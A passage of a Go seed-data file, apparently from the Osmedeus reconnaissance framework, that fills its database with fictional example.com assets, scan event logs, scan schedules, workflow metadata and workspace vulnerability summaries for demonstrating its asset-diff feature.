LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "jenkins.example.com",
URL: "https://jenkins.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 403,
ContentType: "text/html",
ContentLength: 1234,
Title: "Jenkins - Access Denied",
HostIP: "10.0.0.100",
DnsRecords: []string{"10.0.0.100"},
TLS: "TLS 1.2",
Technologies: []string{"Jenkins", "Java"},
ResponseTime: "67ms",
Remarks: []string{"Internal CI/CD server"},
Source: "httpx",
LastSeenAt: threeDaysAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "gitlab.example.com",
URL: "https://gitlab.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 302,
ContentType: "text/html",
ContentLength: 0,
Title: "",
HostIP: "10.0.0.101",
DnsRecords: []string{"10.0.0.101"},
TLS: "TLS 1.3",
Technologies: []string{"GitLab", "Ruby", "PostgreSQL"},
ResponseTime: "45ms",
Remarks: []string{"Internal Git server - redirects to login"},
Source: "httpx",
LastSeenAt: threeDaysAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "grafana.example.com",
URL: "https://grafana.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 15678,
Title: "Grafana - Monitoring Dashboard",
Words: 234,
Lines: 89,
HostIP: "10.0.0.102",
DnsRecords: []string{"10.0.0.102"},
TLS: "TLS 1.3",
Technologies: []string{"Grafana", "Go"},
ResponseTime: "78ms",
Source: "httpx",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "legacy.example.com",
URL: "http://legacy.example.com/",
Scheme: "http",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 56789,
Title: "Legacy Application",
Words: 1234,
Lines: 567,
HostIP: "93.184.216.60",
DnsRecords: []string{"93.184.216.60"},
Technologies: []string{"ASP.NET", "IIS", "jQuery"},
ResponseTime: "567ms",
Remarks: []string{"Legacy system - no TLS"},
Source: "httpx",
LastSeenAt: oneWeekAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "beta.example.com",
URL: "https://beta.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 500,
ContentType: "text/html",
ContentLength: 234,
Title: "Internal Server Error",
HostIP: "93.184.216.61",
DnsRecords: []string{"93.184.216.61"},
TLS: "TLS 1.3",
Technologies: []string{"Nginx"},
ResponseTime: "1234ms",
Remarks: []string{"Beta environment - currently broken"},
Source: "httpx",
LastSeenAt: threeDaysAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "old.example.com",
URL: "https://old.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 301,
ContentType: "text/html",
ContentLength: 178,
Title: "Moved Permanently",
HostIP: "93.184.216.62",
DnsRecords: []string{"93.184.216.62"},
TLS: "TLS 1.2",
Technologies: []string{"Apache"},
ResponseTime: "89ms",
Source: "httpx",
LastSeenAt: oneWeekAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "api-v2.example.com",
URL: "https://api-v2.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "application/json",
ContentLength: 89,
Title: "",
HostIP: "93.184.216.63",
DnsRecords: []string{"93.184.216.63"},
TLS: "TLS 1.3",
Technologies: []string{"FastAPI", "Python", "uvicorn"},
ResponseTime: "34ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "cms.example.com",
URL: "https://cms.example.com/admin/",
Scheme: "https",
Method: "GET",
Path: "/admin/",
StatusCode: 401,
ContentType: "text/html",
ContentLength: 456,
Title: "Login Required - CMS Admin",
HostIP: "93.184.216.64",
DnsRecords: []string{"93.184.216.64"},
TLS: "TLS 1.3",
Technologies: []string{"Strapi", "Node.js", "React"},
ResponseTime: "156ms",
Source: "httpx",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "assets.example.com",
URL: "https://assets.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/plain",
ContentLength: 0,
HostIP: "104.16.125.96",
DnsRecords: []string{"104.16.125.96", "104.16.126.96"},
TLS: "TLS 1.3",
Technologies: []string{"CloudFlare", "AWS S3"},
ResponseTime: "15ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "prometheus.example.com",
URL: "https://prometheus.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 8765,
Title: "Prometheus Time Series",
Words: 123,
Lines: 45,
HostIP: "10.0.0.103",
DnsRecords: []string{"10.0.0.103"},
TLS: "TLS 1.3",
Technologies: []string{"Prometheus", "Go"},
ResponseTime: "56ms",
Source: "httpx",
LastSeenAt: threeDaysAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "kibana.example.com",
URL: "https://kibana.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 502,
ContentType: "text/html",
ContentLength: 567,
Title: "502 Bad Gateway",
HostIP: "10.0.0.104",
DnsRecords: []string{"10.0.0.104"},
TLS: "TLS 1.3",
Technologies: []string{"Nginx"},
ResponseTime: "5000ms",
Remarks: []string{"Elasticsearch backend down"},
Source: "httpx",
LastSeenAt: oneWeekAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
// test.local workspace assets
{
Workspace: "test.local",
AssetValue: "web.test.local",
URL: "http://web.test.local/",
Scheme: "http",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 12345,
Title: "Test Web Application",
Words: 456,
Lines: 123,
HostIP: "192.168.1.10",
DnsRecords: []string{"192.168.1.10"},
Technologies: []string{"Vue.js", "Nginx"},
ResponseTime: "12ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "test.local",
AssetValue: "db.test.local",
URL: "http://db.test.local:8080/",
Scheme: "http",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 5678,
Title: "phpMyAdmin",
Words: 234,
Lines: 89,
HostIP: "192.168.1.11",
DnsRecords: []string{"192.168.1.11"},
Technologies: []string{"phpMyAdmin", "PHP", "Apache"},
ResponseTime: "45ms",
Remarks: []string{"Database admin panel"},
Source: "httpx",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "test.local",
AssetValue: "redis.test.local",
URL: "http://redis.test.local:8081/",
Scheme: "http",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 3456,
Title: "Redis Commander",
Words: 123,
Lines: 56,
HostIP: "192.168.1.12",
DnsRecords: []string{"192.168.1.12"},
Technologies: []string{"Redis Commander", "Node.js"},
ResponseTime: "23ms",
Source: "httpx",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "test.local",
AssetValue: "minio.test.local",
URL: "http://minio.test.local:9000/",
Scheme: "http",
Method: "GET",
Path: "/",
StatusCode: 403,
ContentType: "application/xml",
ContentLength: 234,
Title: "",
HostIP: "192.168.1.13",
DnsRecords: []string{"192.168.1.13"},
Technologies: []string{"MinIO", "Go"},
ResponseTime: "34ms",
Remarks: []string{"Object storage - access denied"},
Source: "httpx",
LastSeenAt: threeDaysAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "test.local",
AssetValue: "rabbit.test.local",
URL: "http://rabbit.test.local:15672/",
Scheme: "http",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 7890,
Title: "RabbitMQ Management",
Words: 345,
Lines: 123,
HostIP: "192.168.1.14",
DnsRecords: []string{"192.168.1.14"},
Technologies: []string{"RabbitMQ", "Erlang"},
ResponseTime: "67ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
// ============================================================
// DIFF DEMONSTRATION ASSETS
// These assets are specifically designed to demonstrate the
// diff functionality with varied created_at, updated_at, and
// last_seen_at timestamps.
// ============================================================
// --- NEWLY ADDED ASSETS (created within last hour) ---
// These will appear as "added" in diff queries for recent time ranges
{
Workspace: "example.com",
AssetValue: "new-api.example.com",
URL: "https://new-api.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "application/json",
ContentLength: 156,
Title: "",
HostIP: "93.184.216.70",
DnsRecords: []string{"93.184.216.70"},
TLS: "TLS 1.3",
Technologies: []string{"FastAPI", "Python"},
ResponseTime: "45ms",
Remarks: []string{"Newly discovered API endpoint"},
Source: "httpx",
LastSeenAt: thirtyMinsAgo,
CreatedAt: thirtyMinsAgo,
UpdatedAt: thirtyMinsAgo,
},
{
Workspace: "example.com",
AssetValue: "v3.example.com",
URL: "https://v3.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 23456,
Title: "Example V3 Beta",
Words: 567,
Lines: 234,
HostIP: "93.184.216.71",
DnsRecords: []string{"93.184.216.71"},
TLS: "TLS 1.3",
Technologies: []string{"Next.js", "React", "Vercel"},
ResponseTime: "89ms",
Remarks: []string{"New version just launched"},
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
// --- CHANGED ASSETS (created earlier, updated recently) ---
// These will appear as "changed" in diff queries
{
Workspace: "example.com",
AssetValue: "portal.example.com",
URL: "https://portal.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 45678,
Title: "Customer Portal - Updated",
Words: 1234,
Lines: 456,
HostIP: "93.184.216.72",
DnsRecords: []string{"93.184.216.72"},
TLS: "TLS 1.3",
Technologies: []string{"Angular", "Node.js", "MongoDB"},
ResponseTime: "234ms",
Remarks: []string{"Portal updated with new features"},
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneWeekAgo, // Created a week ago
UpdatedAt: oneHourAgo, // But updated recently (title changed)
},
{
Workspace: "example.com",
AssetValue: "dashboard.example.com",
URL: "https://dashboard.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 67890,
Title: "Analytics Dashboard v2.5",
Words: 2345,
Lines: 789,
HostIP: "93.184.216.73",
DnsRecords: []string{"93.184.216.73"},
TLS: "TLS 1.3",
Technologies: []string{"Vue.js", "D3.js", "PostgreSQL"},
ResponseTime: "156ms",
Remarks: []string{"Dashboard version bumped"},
Source: "httpx",
LastSeenAt: twoHoursAgo,
CreatedAt: twoWeeksAgo, // Created two weeks ago
UpdatedAt: twoHoursAgo, // Updated today (version change)
},
{
Workspace: "example.com",
AssetValue: "auth.example.com",
URL: "https://auth.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 12345,
Title: "SSO Login - Security Update",
Words: 345,
Lines: 123,
HostIP: "93.184.216.74",
DnsRecords: []string{"93.184.216.74"},
TLS: "TLS 1.3",
Technologies: []string{"Keycloak", "Java", "Redis"},
ResponseTime: "78ms",
Remarks: []string{"Auth service patched"},
Source: "httpx",
LastSeenAt: oneDayAgo,
CreatedAt: oneMonthAgo, // Created a month ago
UpdatedAt: oneDayAgo, // Updated yesterday (security patch)
},
// --- STALE/REMOVED ASSETS (not seen recently) ---
// These will appear as "removed" in diff queries when comparing recent scans
{
Workspace: "example.com",
AssetValue: "deprecated-api.example.com",
URL: "https://deprecated-api.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 503,
ContentType: "text/html",
ContentLength: 234,
Title: "Service Unavailable",
HostIP: "93.184.216.80",
DnsRecords: []string{"93.184.216.80"},
TLS: "TLS 1.2",
Technologies: []string{"Nginx"},
ResponseTime: "5000ms",
Remarks: []string{"API deprecated and decommissioned"},
Source: "httpx",
LastSeenAt: twoWeeksAgo, // Last seen 2 weeks ago - now gone
CreatedAt: oneMonthAgo,
UpdatedAt: twoWeeksAgo,
},
{
Workspace: "example.com",
AssetValue: "old-portal.example.com",
URL: "https://old-portal.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 404,
ContentType: "text/html",
ContentLength: 178,
Title: "Not Found",
HostIP: "93.184.216.81",
DnsRecords: []string{"93.184.216.81"},
TLS: "TLS 1.2",
Technologies: []string{"Apache"},
ResponseTime: "123ms",
Remarks: []string{"Old portal removed after migration"},
Source: "httpx",
LastSeenAt: oneWeekAgo, // Last seen a week ago
CreatedAt: oneMonthAgo,
UpdatedAt: oneWeekAgo,
},
{
Workspace: "example.com",
AssetValue: "test-env.example.com",
URL: "http://test-env.example.com/",
Scheme: "http",
Method: "GET",
Path: "/",
StatusCode: 000,
ContentType: "",
ContentLength: 0,
Title: "",
HostIP: "10.0.0.200",
DnsRecords: []string{"10.0.0.200"},
Technologies: []string{},
ResponseTime: "timeout",
Remarks: []string{"Test environment taken offline"},
Source: "httpx",
LastSeenAt: fiveDaysAgo, // Last seen 5 days ago - offline
CreatedAt: twoWeeksAgo,
UpdatedAt: fiveDaysAgo,
},
// --- HISTORICAL ASSETS (created long ago, various states) ---
{
Workspace: "example.com",
AssetValue: "archive.example.com",
URL: "https://archive.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 89012,
Title: "Example Archive - Historical Content",
Words: 4567,
Lines: 1234,
HostIP: "93.184.216.85",
DnsRecords: []string{"93.184.216.85"},
TLS: "TLS 1.2",
Technologies: []string{"Static HTML", "CloudFlare"},
ResponseTime: "45ms",
Remarks: []string{"Stable archive - rarely changes"},
Source: "httpx",
LastSeenAt: threeDaysAgo, // Still accessible but rarely scanned
CreatedAt: oneMonthAgo,
UpdatedAt: oneMonthAgo, // Never updated since creation
},
// ============================================================
// NON-HTTP ASSET TYPES
// DNS, repository, and external link assets
// ============================================================
{
Workspace: "example.com",
AssetValue: "ns1.example.com",
AssetType: "dns",
HostIP: "93.184.216.90",
DnsRecords: []string{"93.184.216.90", "93.184.216.91"},
Source: "dns-enum",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "example-corp/web-app",
AssetType: "repository",
Language: "JavaScript",
Size: 245760,
LOC: 8500,
ExternalURL: "https://github.com/example-corp/web-app",
Remarks: []string{"Main web application repository"},
Source: "github",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "https://docs.example.com/api/v2",
URL: "https://docs.example.com/api/v2",
AssetType: "link",
Remarks: []string{"API documentation link found during crawl"},
Source: "crawler",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
}
for i := range assets {
// Auto-classify asset type if not provided
if assets[i].AssetType == "" {
assets[i].AssetType = ClassifyAssetType(assets[i].AssetValue)
}
if _, err := db.NewInsert().Model(&assets[i]).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert asset: %w", err)
}
}
// Seed EventLogs
eventLogs := []EventLog{
{
Topic: TopicRunStarted,
EventID: uuid.New().String(),
Name: "subdomain-enum started",
SourceType: "run",
Source: "executor",
DataType: "scan",
Data: fmt.Sprintf(`{"scan_id":"%s","target":"example.com"}`, scan1ID),
Workspace: "example.com",
RunID: scan1ID,
WorkflowName: "subdomain-enum",
Processed: true,
ProcessedAt: &twoHoursAgo,
CreatedAt: twoHoursAgo,
},
{
Topic: TopicRunCompleted,
EventID: uuid.New().String(),
Name: "subdomain-enum completed",
SourceType: "run",
Source: "executor",
DataType: "scan",
Data: fmt.Sprintf(`{"scan_id":"%s","target":"example.com","duration_ms":3600000}`, scan1ID),
Workspace: "example.com",
RunID: scan1ID,
WorkflowName: "subdomain-enum",
Processed: true,
ProcessedAt: &oneHourAgo,
CreatedAt: oneHourAgo,
},
{
Topic: TopicAssetDiscovered,
EventID: uuid.New().String(),
Name: "New assets discovered",
SourceType: "run",
Source: "httpx-step",
DataType: "asset",
Data: `{"count":78,"workspace":"example.com"}`,
Workspace: "example.com",
RunID: scan1ID,
WorkflowName: "subdomain-enum",
Processed: true,
ProcessedAt: &oneHourAgo,
CreatedAt: oneHourAgo,
},
{
Topic: TopicRunStarted,
EventID: uuid.New().String(),
Name: "port-scan started",
SourceType: "run",
Source: "scheduler",
DataType: "scan",
Data: fmt.Sprintf(`{"scan_id":"%s","target":"api.example.com","trigger":"daily-recon"}`, scan2ID),
Workspace: "api.example.com",
RunID: scan2ID,
WorkflowName: "port-scan",
Processed: true,
ProcessedAt: &thirtyMinsAgo,
CreatedAt: thirtyMinsAgo,
},
{
Topic: TopicRunFailed,
EventID: uuid.New().String(),
Name: "vuln-scan failed",
SourceType: "run",
Source: "executor",
DataType: "scan",
Data: fmt.Sprintf(`{"scan_id":"%s","target":"staging.test.local","error":"nuclei template loading failed"}`, scan3ID),
Workspace: "staging.test.local",
RunID: scan3ID,
WorkflowName: "vuln-scan",
Processed: true,
ProcessedAt: &oneHourAgo,
CreatedAt: oneHourAgo,
},
{
Topic: TopicScheduleTriggered,
EventID: uuid.New().String(),
Name: "daily-recon triggered",
SourceType: "run",
Source: "scheduler",
DataType: "schedule",
Data: `{"schedule_id":"sched-daily-recon","trigger_type":"cron","cron":"0 2 * * *"}`,
Processed: true,
CreatedAt: thirtyMinsAgo,
},
// Batch job events for scan4ID (secondary.com)
{
Topic: TopicRunStarted,
EventID: uuid.New().String(),
Name: "subdomain-enum started (batch job)",
SourceType: "run",
Source: "executor",
DataType: "scan",
Data: fmt.Sprintf(`{"scan_id":"%s","target":"secondary.com","run_group_id":"%s"}`, scan4ID, runGroup1ID),
Workspace: "secondary.com",
RunID: scan4ID,
WorkflowName: "subdomain-enum",
Processed: true,
ProcessedAt: &twoHoursAgo,
CreatedAt: twoHoursAgo,
},
{
Topic: TopicRunCompleted,
EventID: uuid.New().String(),
Name: "subdomain-enum completed (batch job)",
SourceType: "run",
Source: "executor",
DataType: "scan",
Data: fmt.Sprintf(`{"scan_id":"%s","target":"secondary.com","run_group_id":"%s","duration_ms":3200000}`, scan4ID, runGroup1ID),
Workspace: "secondary.com",
RunID: scan4ID,
WorkflowName: "subdomain-enum",
Processed: true,
ProcessedAt: &oneHourAgo,
CreatedAt: oneHourAgo,
},
{
Topic: TopicAssetDiscovered,
EventID: uuid.New().String(),
Name: "New assets discovered",
SourceType: "run",
Source: "httpx-step",
DataType: "asset",
Data: `{"count":52,"workspace":"secondary.com"}`,
Workspace: "secondary.com",
RunID: scan4ID,
WorkflowName: "subdomain-enum",
Processed: true,
ProcessedAt: &oneHourAgo,
CreatedAt: oneHourAgo,
},
// Batch job events for scan5ID (tertiary.io)
{
Topic: TopicRunStarted,
EventID: uuid.New().String(),
Name: "subdomain-enum started (batch job)",
SourceType: "run",
Source: "executor",
DataType: "scan",
Data: fmt.Sprintf(`{"scan_id":"%s","target":"tertiary.io","run_group_id":"%s"}`, scan5ID, runGroup1ID),
Workspace: "tertiary.io",
RunID: scan5ID,
WorkflowName: "subdomain-enum",
Processed: true,
ProcessedAt: &thirtyMinsAgo,
CreatedAt: thirtyMinsAgo,
},
// Batch job started event
{
Topic: "job.started",
EventID: uuid.New().String(),
Name: "Batch job started",
SourceType: "run",
Source: "executor",
DataType: "job",
Data: fmt.Sprintf(`{"run_group_id":"%s","targets":["example.com","secondary.com","tertiary.io"],"total_targets":3}`, runGroup1ID),
Processed: true,
CreatedAt: twoHoursAgo,
},
}
for _, event := range eventLogs {
if _, err := db.NewInsert().Model(&event).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert event log: %w", err)
}
}
// Seed Schedules
tomorrow := now.Add(24 * time.Hour)
nextWeek := now.Add(7 * 24 * time.Hour)
schedules := []Schedule{
{
ID: "sched-daily-recon",
Name: "Daily Reconnaissance",
WorkflowName: "subdomain-enum",
WorkflowKind: "module",
Target: "example.com",
Workspace: "example-recon",
TriggerName: "daily-recon",
TriggerType: "cron",
Schedule: "0 2 * * *",
Params: map[string]interface{}{"threads": 10},
IsEnabled: true,
LastRun: &twoHoursAgo,
NextRun: &tomorrow,
RunCount: 45,
CreatedAt: now.Add(-45 * 24 * time.Hour),
UpdatedAt: now,
},
{
ID: "sched-weekly-vuln",
Name: "Weekly Vulnerability Scan",
WorkflowName: "vuln-scan",
WorkflowKind: "flow",
Target: "example.com",
Workspace: "example-vulns",
TriggerName: "weekly-vuln",
TriggerType: "cron",
Schedule: "0 0 * * 0",
Params: map[string]interface{}{"severity": "critical,high", "templates": "cves,default"},
IsEnabled: true,
LastRun: timePtr(now.Add(-3 * 24 * time.Hour)),
NextRun: &nextWeek,
RunCount: 12,
CreatedAt: now.Add(-84 * 24 * time.Hour),
UpdatedAt: now.Add(-3 * 24 * time.Hour),
},
{
ID: "sched-hourly-monitor",
Name: "Hourly Asset Monitor",
WorkflowName: "content-discovery",
WorkflowKind: "module",
Target: "api.example.com",
Workspace: "example-monitor",
TriggerName: "hourly-monitor",
TriggerType: "cron",
Schedule: "0 * * * *",
Params: map[string]interface{}{"wordlist": "quick.txt", "threads": 20},
IsEnabled: true,
LastRun: &oneHourAgo,
NextRun: timePtr(now.Add(1 * time.Hour)),
RunCount: 720,
CreatedAt: now.Add(-30 * 24 * time.Hour),
UpdatedAt: oneHourAgo,
},
{
ID: "sched-monthly-full",
Name: "Monthly Full Reconnaissance",
WorkflowName: "full-recon",
WorkflowKind: "flow",
Target: "example.com",
Workspace: "example-full",
TriggerName: "monthly-full",
TriggerType: "cron",
Schedule: "0 0 1 * *",
Params: map[string]interface{}{"threads": 30, "timeout": 3600, "include_screenshots": true},
IsEnabled: true,
LastRun: timePtr(now.Add(-15 * 24 * time.Hour)),
NextRun: timePtr(now.Add(15 * 24 * time.Hour)),
RunCount: 6,
CreatedAt: now.Add(-180 * 24 * time.Hour),
UpdatedAt: now.Add(-15 * 24 * time.Hour),
},
{
ID: "sched-event-new-asset",
Name: "New Asset Discovery Trigger",
WorkflowName: "port-scan",
WorkflowKind: "module",
Target: "{{event.asset_value}}",
TriggerName: "new-asset-trigger",
TriggerType: "event",
EventTopic: "asset.discovered",
Params: map[string]interface{}{"ports": "1-10000", "rate": 500},
IsEnabled: true,
LastRun: &thirtyMinsAgo,
RunCount: 89,
CreatedAt: now.Add(-60 * 24 * time.Hour),
UpdatedAt: thirtyMinsAgo,
},
{
ID: "sched-disabled-legacy",
Name: "Legacy Scan (Disabled)",
WorkflowName: "subdomain-enum",
WorkflowKind: "module",
Target: "legacy.example.com",
TriggerName: "legacy-scan",
TriggerType: "cron",
Schedule: "0 3 * * *",
Params: map[string]interface{}{"threads": 5},
IsEnabled: false,
LastRun: timePtr(now.Add(-30 * 24 * time.Hour)),
RunCount: 120,
CreatedAt: now.Add(-150 * 24 * time.Hour),
UpdatedAt: now.Add(-30 * 24 * time.Hour),
},
}
for _, schedule := range schedules {
if _, err := db.NewInsert().Model(&schedule).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert schedule: %w", err)
}
}
// Seed WorkflowMeta
workflowMetas := []WorkflowMeta{
{
Name: "subdomain-enum",
Kind: "module",
Description: "Enumerate subdomains using multiple sources including subfinder, amass, and assetfinder",
FilePath: "workflows/modules/subdomain-enum.yaml",
Checksum: "a1b2c3d4e5f6789012345678901234567890abcd",
Tags: []string{"recon", "subdomain", "enumeration"},
StepCount: 5,
ModuleCount: 0,
ParamsJSON: `{"threads": 10, "timeout": 300, "resolvers": "resolvers.txt"}`,
IndexedAt: now,
CreatedAt: now.Add(-30 * 24 * time.Hour),
UpdatedAt: now,
},
{
Name: "port-scan",
Kind: "module",
Description: "Comprehensive port scanning with masscan and nmap service detection",
FilePath: "workflows/modules/port-scan.yaml",
Checksum: "b2c3d4e5f67890123456789012345678abcdef01",
Tags: []string{"recon", "ports", "services"},
StepCount: 4,
ModuleCount: 0,
ParamsJSON: `{"ports": "1-65535", "rate": 1000, "top_ports": 1000}`,
IndexedAt: now,
CreatedAt: now.Add(-25 * 24 * time.Hour),
UpdatedAt: now,
},
{
Name: "vuln-scan",
Kind: "flow",
Description: "Comprehensive vulnerability scanning flow using nuclei with multiple template categories",
FilePath: "workflows/flows/vuln-scan.yaml",
Checksum: "c3d4e5f6789012345678901234567890bcdef012",
Tags: []string{"vulnerability", "nuclei", "cve"},
StepCount: 0,
ModuleCount: 3,
ParamsJSON: `{"severity": "critical,high,medium", "templates": "cves,default,exposures"}`,
IndexedAt: now,
CreatedAt: now.Add(-20 * 24 * time.Hour),
UpdatedAt: now,
},
{
Name: "full-recon",
Kind: "flow",
Description: "Complete reconnaissance flow including subdomain enumeration, port scanning, and content discovery",
FilePath: "workflows/flows/full-recon.yaml",
Checksum: "d4e5f67890123456789012345678901cdef0123",
Tags: []string{"recon", "comprehensive", "automation"},
StepCount: 0,
ModuleCount: 5,
ParamsJSON: `{"threads": 20, "timeout": 600, "include_screenshots": true}`,
IndexedAt: now,
CreatedAt: now.Add(-15 * 24 * time.Hour),
UpdatedAt: now,
},
{
Name: "content-discovery",
Kind: "module",
Description: "Web content and directory discovery using ffuf and dirsearch",
FilePath: "workflows/modules/content-discovery.yaml",
Checksum: "e5f678901234567890123456789012def01234",
Tags: []string{"recon", "fuzzing", "directories"},
StepCount: 3,
ModuleCount: 0,
ParamsJSON: `{"wordlist": "common.txt", "threads": 50, "extensions": "php,html,js"}`,
IndexedAt: now,
CreatedAt: now.Add(-10 * 24 * time.Hour),
UpdatedAt: now,
},
{
Name: "screenshot-capture",
Kind: "module",
Description: "Capture screenshots of web applications using gowitness",
FilePath: "workflows/modules/screenshot-capture.yaml",
Checksum: "f6789012345678901234567890123ef012345",
Tags: []string{"recon", "visual", "screenshots"},
StepCount: 2,
ModuleCount: 0,
ParamsJSON: `{"resolution": "1920x1080", "timeout": 30, "delay": 2}`,
IndexedAt: now,
CreatedAt: now.Add(-5 * 24 * time.Hour),
UpdatedAt: now,
},
}
for _, wm := range workflowMetas {
if _, err := db.NewInsert().Model(&wm).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert workflow meta: %w", err)
}
}
// Seed Workspaces
workspaceRecords := []Workspace{
{
Name: "example.com",
LocalPath: "/home/osmedeus/workspaces-osmedeus/example.com",
DataSource: "local",
TotalAssets: 78,
TotalSubdomains: 112,
TotalURLs: 245,
TotalIPs: 45,
TotalLinks: 1892,
TotalContent: 156,
TotalArchive: 23,
TotalVulns: 15,
VulnCritical: 2,
VulnHigh: 5,
VulnMedium: 4,
VulnLow: 3,
VulnPotential: 1,
RiskScore: 7.5,
Tags: []string{"production", "priority"},
LastRun: &oneHourAgo,
RunWorkflow: "subdomain-enum",
StateExecutionLog: "/home/osmedeus/workspaces-osmedeus/example.com/run-execution.log",
StateCompletedFile: "/home/osmedeus/workspaces-osmedeus/example.com/run-completed.json",
StateWorkflowFile: "/home/osmedeus/workspaces-osmedeus/example.com/run-workflow.yaml",
StateWorkflowFolder: "/home/osmedeus/workspaces-osmedeus/example.com/run-modules",
CreatedAt: now.Add(-30 * 24 * time.Hour),
UpdatedAt: oneHourAgo,
},
{
Name: "api.example.com",
LocalPath: "/home/osmedeus/workspaces-osmedeus/api.example.com",
DataSource: "cloud",
TotalAssets: 23,
TotalSubdomains: 5,
TotalURLs: 45,
TotalIPs: 8,
TotalLinks: 234,
TotalContent: 12,
TotalArchive: 5,
TotalVulns: 3,
VulnCritical: 0,
VulnHigh: 1,
VulnMedium: 2,
VulnLow: 0,
VulnPotential: 0,
RiskScore: 4.2,
Tags: []string{"api", "internal"},
LastRun: &thirtyMinsAgo,
RunWorkflow: "port-scan",
StateExecutionLog: "/home/osmedeus/workspaces-osmedeus/api.example.com/run-execution.log",
StateCompletedFile: "/home/osmedeus/workspaces-osmedeus/api.example.com/run-completed.json",
StateWorkflowFile: "/home/osmedeus/workspaces-osmedeus/api.example.com/run-workflow.yaml",
StateWorkflowFolder: "/home/osmedeus/workspaces-osmedeus/api.example.com/run-modules",
CreatedAt: now.Add(-15 * 24 * time.Hour),
UpdatedAt: thirtyMinsAgo,
},
{
Name: "staging.test.local",
LocalPath: "/home/osmedeus/workspaces-osmedeus/staging.test.local",
DataSource: "imported",
TotalAssets: 15,
TotalSubdomains: 8,
TotalURLs: 30,
TotalIPs: 4,
TotalLinks: 89,
TotalContent: 8,
TotalArchive: 2,
TotalVulns: 0,
VulnCritical: 0,
VulnHigh: 0,
VulnMedium: 0,
VulnLow: 0,
VulnPotential: 0,
RiskScore: 0,
Tags: []string{"staging", "internal"},
LastRun: &twoHoursAgo,
RunWorkflow: "vuln-scan",
StateExecutionLog: "/home/osmedeus/workspaces-osmedeus/staging.test.local/run-execution.log",
StateCompletedFile: "/home/osmedeus/workspaces-osmedeus/staging.test.local/run-completed.json",
